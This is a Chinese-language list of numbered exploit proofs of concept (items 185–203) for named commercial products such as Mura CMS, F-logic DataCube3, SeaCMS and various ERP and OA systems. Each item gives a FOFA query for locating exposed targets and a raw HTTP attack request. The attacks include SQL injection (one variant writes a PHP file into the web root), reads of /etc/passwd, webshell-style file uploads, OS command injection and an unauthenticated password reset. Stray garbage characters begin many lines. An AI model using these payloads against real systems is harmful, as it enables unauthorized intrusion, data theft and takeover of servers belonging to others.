185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
! ^: ^0 ]3 C' FFOFA：app="REALOR-天翼应用虚拟化系统"
* R+ `# y& I" H( N* o4 H. XGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
, u" Y, H" u) M! ^$ h  Z, p$ @7 QHost: host


186. F-logic DataCube3 SQL注入
CVE-2024-31750
4 A1 v; j4 X3 f3 ^+ u# U' t) B. EF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
" Y+ e" X4 I  _$ Z5 Y: }FOFA：title=="DataCube3"
% q) L* _! V1 Z" R2 zPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
# _: p# G) q( UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
& ?7 P) ?! @( L! C- DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
- ^: V: M" @; ?) hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. k; H1 W5 \7 t* m, M0 ^. f& ^Connection: close
' @6 P& i+ k2 T$ c, f, nContent-Type: application/x-www-form-urlencoded
" S& H( g4 x+ M5 v$ f
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


6 x, S8 F; w, S. ?0 z. t  ?$ x187. Mura CMS processAsyncObject SQL注入
3 ^% |( W, C( A/ H8 w) QCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
: n7 l1 ~- t. S) m( OContent-Type: application/x-www-form-urlencoded

# F' N0 H, f8 u7 \3 _& ^$ i
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
- k  \, g  c" u% o3 Y% K3 N' u
" I) \! D$ X" ]' Z. v
& P, J; k2 h3 y( H  P188. 叁体-佳会视频会议 attachment 任意文件读取
0 {8 C% J" @2 e; m! {+ f/ ^version <= 3.9.7
" |& [8 b4 r3 q9 ]FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
2 ~& W5 H% n- r) l0 ?7 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ \) H- `% y' R1 W- tAccept-Encoding: gzip, deflate
8 ]  E8 R/ P( c6 M' R& @5 }Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

, ~" T( A$ [& g1 t+ Q
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
! V1 d, b+ d  T6 }" hFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. X8 ~. }1 F4 k9 i5 `1 @1 \2 D( k" GAccept-Encoding: gzip, deflate
$ x( s) Y( _( p# K, l" ^Accept-Language: zh-CN,zh;q=0.9
Connection: close

. w; k! d+ e# a+ g, d, k5 F
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
6 e" v4 ~( X' x' f5 {* p* t. @3 eFOFA：title=="短视频矩阵营销系统"
* O, x' c( u% k5 ^5 p' r2 aPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
6 X4 I1 f0 l( I; M- W1 rHost: your-ip
7 J/ v0 h3 Y1 B6 p2 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
' ]1 p  L4 X* \; fAccept-Encoding: gzip, deflate
' J8 H1 d# G. BAccept-Language: zh-CN,zh;q=0.9

! d" }! }8 e/ j  }5 G! B6 i- Spoi=file:///etc/passwd

0 j* P0 H7 T' q& i3 ^5 b+ C
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
" ~% ^4 |* s: H/ \4 W  vFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
3 ?. N' ^' O6 H9 fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% K# g7 c( |2 l5 g9 V. T' _
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

5 k+ v( z! K. s
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
  H1 O' I7 j0 t# g9 VPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
! [& d8 ~/ |( ^) v. S: dHost: your-ip
5 a' w8 j3 h$ [0 f7 }7 U1 u4 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


9 A% ~" P. V) w8 u+ u<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
' z1 ^* V3 Y0 [' o+ S5 s{
public bool IsReusable
! N: o+ D( V7 R9 e. ?! G{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
7 e  H9 n2 {: v  v' [0 n2 X{
ctx.Response.Write("test");
% R; ?. s3 W! n, R0 s}
+ a0 t, o8 S3 r* j7 i% u2 D+ Z* {}

. w: m; L* f: }
5 u% n0 G7 N7 u0 V$ T193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
1 H( w# `3 c; K" rContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
4 O7 K& N: p8 {" n) e

  S6 c$ l+ ?: N3 x0 W3 YPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
3 s0 n8 R0 }( lUser-Agent: Mozilla/5.0
! Q/ k* `/ N4 kAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
" s- G1 _2 v" O6 d8 [+ S4 ]Cookie: PHPSESSID=2333333333333;
9 `" K4 k! P! Y. }) BContent-Type: application/x-www-form-urlencoded
Content-Length: 84

& ^# R' u1 Z# w9 p6 ?param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


( G3 X3 T& t& t. @4 Y3 u/ b" NGET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0
) a; e# I( ~% g9 N! f
, V* T4 h! {) q
2 Z2 P, n' {/ D7 m/ {9 X* [194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
& g/ e7 D% W! |% C( ]: l
0 @: I( V: I& D  x2 T: U, zPOST /servlet/uploadAttachmentServlet HTTP/1.1
5 ^8 R/ g. R. e) `( UHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 S" b, n9 E' c/ G$ P: `. y1 XConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
0 v4 u6 a& K9 D, I, _- ~% {------WebKitFormBoundaryKNt0t4vBe8cX9rZk

2 X# p0 F2 b; j* r; F( h2 aContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
* G7 V) _, w) {<% out.println("hello");%>
  ~$ l4 [& I2 q% J/ ]5 n5 M------WebKitFormBoundaryKNt0t4vBe8cX9rZk
' C! A( H' Z8 L9 f, cContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
. y( J! g  h8 T; C3 a------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
* E( Y2 {# e) y7 N& y& K

7 ?$ U4 [7 g" `0 ?2 c% r+ M195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
! o9 X7 J8 l9 p2 WFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
' W" m" v% e* u# b6 p# _Host: 127.0.0.1
Pragma: no-cache
  @% \+ h' F1 Y' d4 ?Cache-Control: no-cache
1 d- V* I4 y; Y% p0 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
; h$ F' M" u4 l5 ^; T( p* ?- sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
' q) q4 e$ k9 A0 eContent-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

2 f$ Q+ Y" ?; k6 b! R( S
196. 河南省风速科技统一认证平台密码重置
% V( N$ f1 T; l$ E* F. OFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
6 a8 _4 k5 x7 h$ _- ZX-Requested-With: XMLHttpRequest
* K, E8 e* j. ^* q6 d8 i5 KHost:
% v& Z  ~4 x( dAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
8 L0 A) h! c7 {. R! W3 I. DContent-Length: 45
Connection: close
& R; E; s, f) |1 D
{"xgh":"test","newPass":"test666","email":""}
1 y  x9 Q- `; R" O
- I" E# [1 n* Y) J4 r+ a
: r/ V7 j9 z+ K2 {4 K6 m
/ ?, \& u& F. G1 y- r$ S% Y. P197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
* Q" _7 r6 W; ]% D9 t  gFOFA：app="浙大恩特客户资源管理系统"
4 O9 p( F5 M3 @9 ^9 iGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
3 n- k8 S. N0 `: N* f8 RHost:
; X2 V" k% Y  g2 Y$ J' Q* X1 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
8 s4 _- C) x# t! ?Accept-Encoding: gzip, deflate
Connection: close
  h' _  [+ x0 G2 P
. F9 ~; K7 p' z! o  \

7 H+ P2 ~7 o0 J1 Z198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
" J0 u# D+ [0 [; K  w/ fCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
) s& {5 f: R" w& U6 j" [, ~+ SAccept: */*
% g4 H  [+ B4 x4 _- yAccept-Encoding: gzip, deflate
3 c6 j  @2 r' ~' i, mAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
$ B/ x8 a; R2 B1 M$ [2 p* jConnection: close
4 V* e$ l5 l- A! ~  w
) |) J" Q% f( |, I. W, R: u- }
199. cockpit系统assetsmanager_upload接口 文件上传
7 N" L# q" F" E2 V
& i) f+ g4 _5 e$ |$ y) V1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
( B1 Y$ G) X. N$ EGET /auth/login?to=/ HTTP/1.1

8 `! C  Z! B, l& g响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
# Z/ \0 r/ V" W0 U( o4 z$ P
POST /auth/check HTTP/1.1
Content-Type: application/json

9 [& }' O! a, p' @% ]& |: F{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
7 S" S& c1 O! ?2 w& [# j4 lSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
# {: B. |+ A, AFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
- Y# e$ m' M4 X# W6 P/ J' _1 LCookie: mysession=95524f01e238bf51bb60d77ede3bea92
+ y0 v3 W* g, j8 L
& L& c( L1 s1 b# J) [-----------------------------36D28FBc36bd6feE7Fb3
1 B; |2 k) G! S. M& DContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
' {4 n0 u) Y  n( V. f9 P' W& U* `
<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

2 C- U6 k6 G$ j- q0 O-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
4 G9 O8 c) X; n: PFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
0 t, t9 h2 v5 aCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
3 I! J0 o- Q9 q; _) ^7 dUpgrade-Insecure-Requests: 1
3 B& c9 }3 u$ @2 a9 k5 C% VCache-Control: max-age=0
/ l2 }0 `4 Q9 {3 J' nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) y* ?6 I; f& T& d4 C$ k& g  DAccept-Encoding: gzip, deflate
! s$ S$ u9 @8 d: yAccept-Language: zh-CN,zh;q=0.9

# T7 `2 x* x5 R) u
" C5 H& @  M( _2 S& [201. 方正全媒体新闻采编系统 binary SQL注入
) P% i/ E1 X' @" T# X$ GFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
: D& g% S5 `& _2 r& J/ \7 xPOST /newsedit/newsplan/task/binary.do HTTP/1.1
' _8 a* f$ p- T, t8 U) |Content-Type: application/x-www-form-urlencoded
9 e) _+ V/ \2 s+ }1 O& X  CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* j0 `- `  A  O6 W# OAccept-Language: zh-CN,zh;q=0.9
+ n4 Z6 G2 ]. ~3 F  K$ zConnection: close
2 e7 D* T3 E. d! o' Y/ Y& K
8 _- E& q4 E( Z( k+ F8 V3 LTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
3 M- x  J, n. `
) ?; \2 V* t3 w
! ^1 }, b. \! o: `  U- H202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
' W9 V# h# i8 n, ]0 k/ j% v+ |GET /User/AccountEdit.aspx HTTP/1.1
: N7 p; L( K$ V& R, jHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
* s- F' _/ \. ]4 l

替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

7 }) X( r# N5 Q* a4 Z-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
! _% U1 @% q: _+ o( @0 e& H
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
. J# Z2 p, m6 d/ |Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
4 T; Z: A: ^! \Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
7 T+ A5 p) z4 x$ \3 i( B4 ZContent-Type: text/plain

! U0 P4 Y' R* ~6 p# T/ wHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
8 Q+ ~4 h, }) t
% L$ W4 p6 x, {- Q7 T* X' u* G
-----------------------------786435874t38587593865736587346567358735687
# _8 ~. k. H4 B3 lContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

7 ~- Z4 o- c0 W0 o  _) ~
$ f+ t/ x1 Z) a. o9 I) |-----------------------------786435874t38587593865736587346567358735687--
6 r, {. Y  L! [3 r& s7 q
/ M6 ~) G5 L" T
# x8 m9 V4 z' n, B0 ]# h" b/_data/Uploads/1123.txt
  ]7 J4 F* P( {0 E6 X$ c. c
203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
9 W8 d" R! b) dPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
: f; r. v6 \: w  I- K, tAccept-Encoding: gzip
# p6 ~) R$ D4 l' H8 `* s, EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 ^2 z- b5 {- x3 AContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
0 C4 X- `2 M, r3 l7 S1 EContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
/ Q5 u, e5 V$ l* K
- P; S4 N: ^4 n5 `. D+ p<% out.print("hello,eHR");%>
. k' [- Q+ q5 b0 F9 v/ E------WebKitFormBoundaryt7WbDl1tXogoZys4--
- f1 N& I: `4 C3 W+ U+ E